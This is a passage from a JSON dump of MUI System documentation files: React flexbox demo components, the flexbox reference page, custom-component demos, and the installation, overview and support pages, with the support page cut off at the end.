    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function FlexShrink() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{ display: 'flex', p: 1, bgcolor: 'background.paper', borderRadius: 1 }}\n      >\n        <Item sx={{ width: '100%' }}>Item 1</Item>\n        <Item sx={{ flexShrink: 1 }}>Item 2</Item>\n        <Item sx={{ flexShrink: 0 }}>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/FlexShrink.tsx.preview",
    "content": "<Box\n  sx={{ display: 'flex', p: 1, bgcolor: 'background.paper', borderRadius: 1 }}\n>\n  <Item sx={{ width: '100%' }}>Item 1</Item>\n  <Item sx={{ flexShrink: 1 }}>Item 2</Item>\n  <Item sx={{ flexShrink: 0 }}>Item 3</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/flexbox/FlexWrap.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function FlexWrap() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'nowrap',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 300,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 300,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap-reverse',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 300,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/FlexWrap.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function FlexWrap() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'nowrap',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 300,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 300,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexWrap: 'wrap-reverse',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          maxWidth: 300,\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n        <Item>Item 4</Item>\n        <Item>Item 5</Item>\n        <Item>Item 6</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/JustifyContent.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function JustifyContent() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'flex-end',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'center',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-between',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-around',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-evenly',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/JustifyContent.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function JustifyContent() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'flex-start',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'flex-end',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'center',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-between',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-around',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          justifyContent: 'space-evenly',\n          p: 1,\n          m: 1,\n          bgcolor: 'background.paper',\n          borderRadius: 1,\n        }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/Order.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\n\nfunction Item(props) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nItem.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default function Order() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{ display: 'flex', p: 1, bgcolor: 'background.paper', borderRadius: 1 }}\n      >\n        <Item sx={{ order: 2 }}>Item 1</Item>\n        <Item sx={{ order: 3 }}>Item 2</Item>\n        <Item sx={{ order: 1 }}>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/Order.tsx",
    "content": "import Box, { BoxProps } from '@mui/material/Box';\n\nfunction Item(props: BoxProps) {\n  const { sx, ...other } = props;\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          p: 1,\n          m: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        }),\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default function Order() {\n  return (\n    <div style={{ width: '100%' }}>\n      <Box\n        sx={{ display: 'flex', p: 1, bgcolor: 'background.paper', borderRadius: 1 }}\n      >\n        <Item sx={{ order: 2 }}>Item 1</Item>\n        <Item sx={{ order: 3 }}>Item 2</Item>\n        <Item sx={{ order: 1 }}>Item 3</Item>\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/flexbox/Order.tsx.preview",
    "content": "<Box\n  sx={{ display: 'flex', p: 1, bgcolor: 'background.paper', borderRadius: 1 }}\n>\n  <Item sx={{ order: 2 }}>Item 1</Item>\n  <Item sx={{ order: 3 }}>Item 2</Item>\n  <Item sx={{ order: 1 }}>Item 3</Item>\n</Box>"
  },
  {
    "path": "docs/data/system/flexbox/flexbox.md",
    "content": "# Flexbox\n\n<p class=\"description\">Quickly manage the layout, alignment, and sizing of grid columns, navigation, components, and more with a full suite of responsive flexbox utilities.</p>\n\nIf you are **new to or unfamiliar with flexbox**, we encourage you to read this [CSS-Tricks flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) guide.\n\n## Properties for the Parent\n\n### display\n\n{{\"demo\": \"Display.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ display: 'flex' }}>…\n<Box sx={{ display: 'inline-flex' }}>…\n```\n\n### flex-direction\n\nFor more information please see\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/flex-direction\" target=\"_blank\" rel=\"noopener\">flex-direction</a>\non MDN.\n\n{{\"demo\": \"FlexDirection.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ flexDirection: 'row' }}>…\n<Box sx={{ flexDirection: 'row-reverse' }}>…\n<Box sx={{ flexDirection: 'column' }}>…\n<Box sx={{ flexDirection: 'column-reverse' }}>…\n```\n\n### flex-wrap\n\nFor more information please see\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/flex-wrap\" target=\"_blank\" rel=\"noopener\">flex-wrap</a>\non MDN.\n\n{{\"demo\": \"FlexWrap.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ flexWrap: 'nowrap' }}>…\n<Box sx={{ flexWrap: 'wrap' }}>…\n<Box sx={{ flexWrap: 'wrap-reverse' }}>…\n```\n\n### justify-content\n\nFor more information please see\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/justify-content\" target=\"_blank\" rel=\"noopener\">justify-content</a>\non MDN.\n\n{{\"demo\": \"JustifyContent.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ justifyContent: 'flex-start' }}>…\n<Box sx={{ justifyContent: 'flex-end' }}>…\n<Box sx={{ justifyContent: 'center' }}>…\n<Box sx={{ justifyContent: 'space-between' }}>…\n<Box sx={{ justifyContent: 'space-around' }}>…\n<Box sx={{ justifyContent: 'space-evenly' }}>…\n```\n\n### align-items\n\nFor more information please see\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/align-items\" target=\"_blank\" rel=\"noopener\">align-items</a>\non MDN.\n\n{{\"demo\": \"AlignItems.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ alignItems: 'flex-start' }}>…\n<Box sx={{ alignItems: 'flex-end' }}>…\n<Box sx={{ alignItems: 'center' }}>…\n<Box sx={{ alignItems: 'stretch' }}>…\n<Box sx={{ alignItems: 'baseline' }}>…\n```\n\n### align-content\n\nFor more information please see\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/align-content\" target=\"_blank\" rel=\"noopener\">align-content</a>\non MDN.\n\n{{\"demo\": \"AlignContent.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ alignContent: 'flex-start' }}>…\n<Box sx={{ alignContent: 'flex-end' }}>…\n<Box sx={{ alignContent: 'center' }}>…\n<Box sx={{ alignContent: 'space-between' }}>…\n<Box sx={{ alignContent: 'space-around' }}>…\n<Box sx={{ alignContent: 'stretch' }}>…\n```\n\n## Properties for the Children\n\n### order\n\nFor more information please see\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/order\" target=\"_blank\" rel=\"noopener\">order</a>\non MDN.\n\n{{\"demo\": \"Order.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ order: 2 }}>Item 1</Box>\n<Box sx={{ order: 3 }}>Item 2</Box>\n<Box sx={{ order: 1 }}>Item 3</Box>\n```\n\n### flex-grow\n\nFor more information please see\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/flex-grow\" target=\"_blank\" rel=\"noopener\">flex-grow</a>\non MDN.\n\n{{\"demo\": \"FlexGrow.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ flexGrow: 1 }}>Item 1</Box>\n<Box>Item 2</Box>\n<Box>Item 3</Box>\n```\n\n### flex-shrink\n\nFor more information please see\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/flex-shrink\" target=\"_blank\" rel=\"noopener\">flex-shrink</a>\non MDN.\n\n{{\"demo\": \"FlexShrink.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ width: '100%' }}>Item 1</Box>\n<Box sx={{ flexShrink: 1 }}>Item 2</Box>\n<Box sx={{ flexShrink: 0 }}>Item 3</Box>\n```\n\n### align-self\n\nFor more information please see\n<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/align-self\" target=\"_blank\" rel=\"noopener\">align-self</a>\non MDN.\n\n{{\"demo\": \"AlignSelf.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box>Item 1</Box>\n<Box sx={{ alignSelf: 'flex-end' }}>Item 2</Box>\n<Box>Item 3</Box>\n```\n\n## API\n\n```js\nimport { flexbox } from '@mui/system';\n```\n\n| Import name      | Prop             | CSS property      | Theme key |\n| :--------------- | :--------------- | :---------------- | :-------- |\n| `flexDirection`  | `flexDirection`  | `flex-direction`  | none      |\n| `flexWrap`       | `flexWrap`       | `flex-wrap`       | none      |\n| `justifyContent` | `justifyContent` | `justify-content` | none      |\n| `alignItems`     | `alignItems`     | `align-items`     | none      |\n| `alignContent`   | `alignContent`   | `align-content`   | none      |\n| `order`          | `order`          | `order`           | none      |\n| `flex`           | `flex`           | `flex`            | none      |\n| `flexGrow`       | `flexGrow`       | `flex-grow`       | none      |\n| `flexShrink`     | `flexShrink`     | `flex-shrink`     | none      |\n| `alignSelf`      | `alignSelf`      | `align-self`      | none      |\n"
  },
  {
    "path": "docs/data/system/getting-started/custom-components/CombiningStyleFunctionsDemo.js",
    "content": "import styled from 'styled-components';\nimport { palette, spacing } from '@mui/system';\n\nconst Div = styled.div`\n  ${palette}\n  ${spacing}\n`;\n\nexport default function CombiningStyleFunctionsDemo() {\n  return (\n    <Div color=\"white\" bgcolor=\"palevioletred\" p={1}>\n      Styled components\n    </Div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/custom-components/CombiningStyleFunctionsDemo.tsx",
    "content": "import styled from 'styled-components';\nimport { palette, PaletteProps, spacing, SpacingProps } from '@mui/system';\n\nconst Div = styled.div<PaletteProps & SpacingProps>`\n  ${palette}\n  ${spacing}\n`;\n\nexport default function CombiningStyleFunctionsDemo() {\n  return (\n    <Div color=\"white\" bgcolor=\"palevioletred\" p={1}>\n      Styled components\n    </Div>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/custom-components/CombiningStyleFunctionsDemo.tsx.preview",
    "content": "<Div color=\"white\" bgcolor=\"palevioletred\" p={1}>\n  Styled components\n</Div>"
  },
  {
    "path": "docs/data/system/getting-started/custom-components/StyleFunctionSxDemo.js",
    "content": "import styled, { ThemeProvider } from 'styled-components';\nimport { unstable_styleFunctionSx } from '@mui/system';\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme();\n\nconst Div = styled('div')(unstable_styleFunctionSx);\n\nexport default function StyleFunctionSxDemo() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Div sx={{ m: 1, p: 1, border: 1 }}>Custom component with the sx prop</Div>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/custom-components/StyleFunctionSxDemo.tsx",
    "content": "import styled, { ThemeProvider, StyleFunction } from 'styled-components';\nimport { unstable_styleFunctionSx, SxProps } from '@mui/system';\nimport { createTheme } from '@mui/material/styles';\n\ninterface DivProps {\n  sx?: SxProps;\n}\n\nconst theme = createTheme();\n\nconst Div = styled('div')<DivProps>(\n  unstable_styleFunctionSx as StyleFunction<DivProps>,\n);\n\nexport default function StyleFunctionSxDemo() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Div sx={{ m: 1, p: 1, border: 1 }}>Custom component with the sx prop</Div>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/getting-started/custom-components/StyleFunctionSxDemo.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Div sx={{ m: 1, p: 1, border: 1 }}>Custom component with the sx prop</Div>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/system/getting-started/custom-components/custom-components.md",
    "content": "# Custom components\n\n<p class=\"description\">Learn how to use MUI System with custom components.</p>\n\n## Using sx with custom components\n\nNormally you would use the [`Box`](/system/react-box/) component at the root of your component tree in order to work with [the `sx` prop](/system/getting-started/the-sx-prop/).\nIf you want to use `sx` with fully custom (non-MUI) components, you can do so with the `unstable_styleFunctionSx` utility.\nThis gives you all the same capabilities, and with a smaller bundle size.\n\nThe following demo shows how to implement this utility:\n\n{{\"demo\": \"StyleFunctionSxDemo.js\"}}\n\n## Using standalone system utilities\n\nIf you only need specific style functions from the `sx` prop, you can import them individually rather than pulling in the entire package.\nThis is useful if you need to optimize for the smallest bundle size possible.\n\nThe demo below illustrates how this works:\n\n{{\"demo\": \"CombiningStyleFunctionsDemo.js\", \"defaultCodeOpen\": true}}\n"
  },
  {
    "path": "docs/data/system/getting-started/installation/installation.md",
    "content": "# Installation\n\n<p class=\"description\">Install MUI System, a collection of CSS utilities for rapidly laying out custom designs.</p>\n\n## Default installation\n\nRun one of the following commands to add MUI System to your project:\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/system @emotion/react @emotion/styled\n```\n\n```bash pnpm\npnpm add @mui/system @emotion/react @emotion/styled\n```\n\n```bash yarn\nyarn add @mui/system @emotion/react @emotion/styled\n```\n\n</codeblock>\n\n### Peer dependencies\n\n<!-- #react-peer-version -->\n\nPlease note that [react](https://www.npmjs.com/package/react) is a peer dependency, meaning you should ensure it is installed before installing MUI System.\n\n```json\n\"peerDependencies\": {\n  \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n},\n```\n\n## With styled-components\n\nMUI System uses [Emotion](https://emotion.sh/docs/introduction) as its default styling engine.\nIf you want to use [styled-components](https://styled-components.com/) instead, run one of the following commands:\n\n<!-- #npm-tag-reference -->\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/system@next @mui/styled-engine-sc@next styled-components\n```\n\n```bash pnpm\npnpm add @mui/system@next @mui/styled-engine-sc@next styled-components\n```\n\n```bash yarn\nyarn add @mui/system@next @mui/styled-engine-sc@next styled-components\n```\n\n</codeblock>\n\n:::error\nAs of late 2021, [styled-components](https://github.com/styled-components/styled-components) is **not compatible** with server-rendered Material UI projects.\nThis is because `babel-plugin-styled-components` isn't able to work with the `styled()` utility inside `@mui` packages.\nSee [this GitHub issue](https://github.com/mui/material-ui/issues/29742) for more details.\n\nWe **strongly recommend** using Emotion for SSR projects.\n:::\n"
  },
  {
    "path": "docs/data/system/getting-started/overview/overview.md",
    "content": "---\ntitle: Overview\n---\n\n# MUI System - Overview\n\n<p class=\"description\">MUI System is a set of CSS utilities to help you build custom designs more efficiently. It makes it possible to rapidly lay out custom designs.</p>\n\n## Introduction\n\nMUI System is a set of CSS utilities to help you build custom designs more efficiently.\nIt's used internally by libraries like [Material UI](/material-ui/), [Joy UI](/joy-ui/getting-started/).\n\nMUI System gives you a set of flexible, generic wrapper components like [`Box`](/system/react-box/) and [`Container`](/system/react-container/) that can be quickly customized using the `sx` prop.\nThis prop lets you define styles directly within the components themselves, rather than creating bulky and redundant `const` definitions with styled-components.\nIt also gives you direct access to your theme's custom design tokens to ensure consistency in one-off styles.\nLearn more on [the `sx` prop page](/system/getting-started/the-sx-prop/).\n\n## Advantages of MUI System\n\n- **Write less code:** in situations where styled-components would be overkill, the `sx` prop can [replace dozens of lines of code](/system/getting-started/usage/#why-use-mui-system).\n- **Write the CSS you already know:** the `sx` prop features a superset of CSS, so it's intuitive to pick up and start working with right away if you're comfortable with CSS.\n- **Avoid context-switching:** with styled-components, you frequently have to jump between the usage and the definition to find what you need. With MUI System, it's all in one place.\n- **Forget unnecessary custom names:** if you've ever struggled to come up with a good name for a styled-component, then you'll appreciate skipping that step entirely when using MUI System.\n"
  },
  {
    "path": "docs/data/system/getting-started/support/support.md",
    "content": "# Support\n\n<p class=\"description\">Learn how to get support for MUI System components, including feature requests, bug fixes, and technical support from the team.</p>\n\n## GitHub\n\nWe use GitHub issues as a bug and feature request tracker.\n\nIf you think you've found a bug, or you have a new feature idea:\n\n1. Please start by [making sure it hasn't already been reported or fixed](https://github.com/mui/material-ui/issues?q=is%3Aopen+is%3Aclosed).\n   You can search through existing issues and pull requests to see if someone has reported one similar to yours.\n2. Then, if no duplicates exist, [open an issue](https://github.com/mui/material-ui/issues/new/choose) in the MUI System repository.\n\n### New issue guidelines\n\n- Please follow one the issue templates provided on GitHub.\n- Please begin the title with \"[component-name]\" (if relevant), and use a succinct description that helps others find similar issues.\n  - ❌ _\"It doesn't work\"_\n  - ✅ _\"[button] Add support for {{new feature}}\"_\n- Please don't group multiple topics in one issue.\n- Please don't comment \"+1\" on an issue. It spams the maintainers and doesn't help move the issue forward. Use GitHub reactions instead (👍).\n\n### Bug reproductions\n\nWe require bug reports to be accompanied by a **minimal reproduction**.\nIt significantly increases the odds of fixing the problem.\nYou have a few possible options to provide it:\n\n#### Use the live editors\n\nYou can browse the documentation, find an example close to your use case, and then open it in a live editor:\n\n<a href=\"/system/borders/#additive\">\n<span class=\"only-light-mode\">\n  <img src=\"/static/docs-infra/forking-an-example.png\" alt=\"Forking an example\" loading=\"lazy\" width=\"1628\" height=\"700\" style=\"display: block; max-width: 774px;\">\n</span>\n<span class=\"only-dark-mode\">\n  <img src=\"/static/docs-infra/forking-an-example-dark.png\" alt=\"Forking an example\" loading=\"lazy\" width=\"1628\" height=\"700\" style=\"display: block; max-width: 774px;\">\n</span>\n</a>\n\n#### Use starter templates\n\nYou can use a starter React template to build a reproduction case with [JavaScript](https://stackblitz.com/github/stackblitz/starters/tree/main/react) or [TypeScript](https://stackblitz.com/github/stackblitz/starters/tree/main/react-ts).\n\n## Stack Overflow\n\nWe use Stack Overflow for how-to questions. Answers are crowdsourced from expert developers in the MUI System community as well as MUI System maintainers.\n\nYou can search through existing questions and answers to see if someone has asked a similar question using the [mui-system tags](https://stackoverflow.com/questions/tagged/material-ui):\n\nIf you can't find your answer, [ask a new question](https://stackoverflow.com/questions/ask?tags=reactjs%20mui-system) using the relevant tags.\n\n## Technical support\n\nWe do _not_ offer paid support for Core libraries like MUI System.\n\nBut you might want to read the [technical support offered](https://mui.com/x/introduction/support/#technical-support) on MUI X components.\n\n## Long-term support (LTS)\n\nBug fixes, performance enhancements, and other improvements are delivered in new releases.\nHowever, we remain committed to providing security updates and addressing regressions for the immediate predecessor of the current major version.\n\nThis includes issues introduced by external sources, like browser upgrades or changes to upstream dependencies.\n\n### Supported versions\n\n- MUI System v5: ✅ Stable major (Continuous support)\n- [MUI System v4](https://v4.mui.com/styles/basics/): ⚠️ Long-term support (Guaranteed Support for security issues and regressions).\n- [MUI System v3](https://v3.mui.com/css-in-js/basics/): 🅧 No longer supported.\n- MUI System v2: 🅧 Never existed.\n- [MUI System v1](https://v1.mui.com/customization/css-in-js/): 🅧 No longer supported.\n- MUI System v0.x: 🅧 Never existed.\n\n## Community\n\n### Social media\n\nThe MUI System community is active on both [X/Twitter](https://x.com/MUI_hq) and [LinkedIn](https://www.linkedin.com/company/mui/).\nThese are great platforms to share what you're working on and connect with other developers.\n\n## Custom work\n\nIf your team gets stuck and needs help getting unblocked, MUI System's engineers may be available on a contract basis.\n\nKeep in 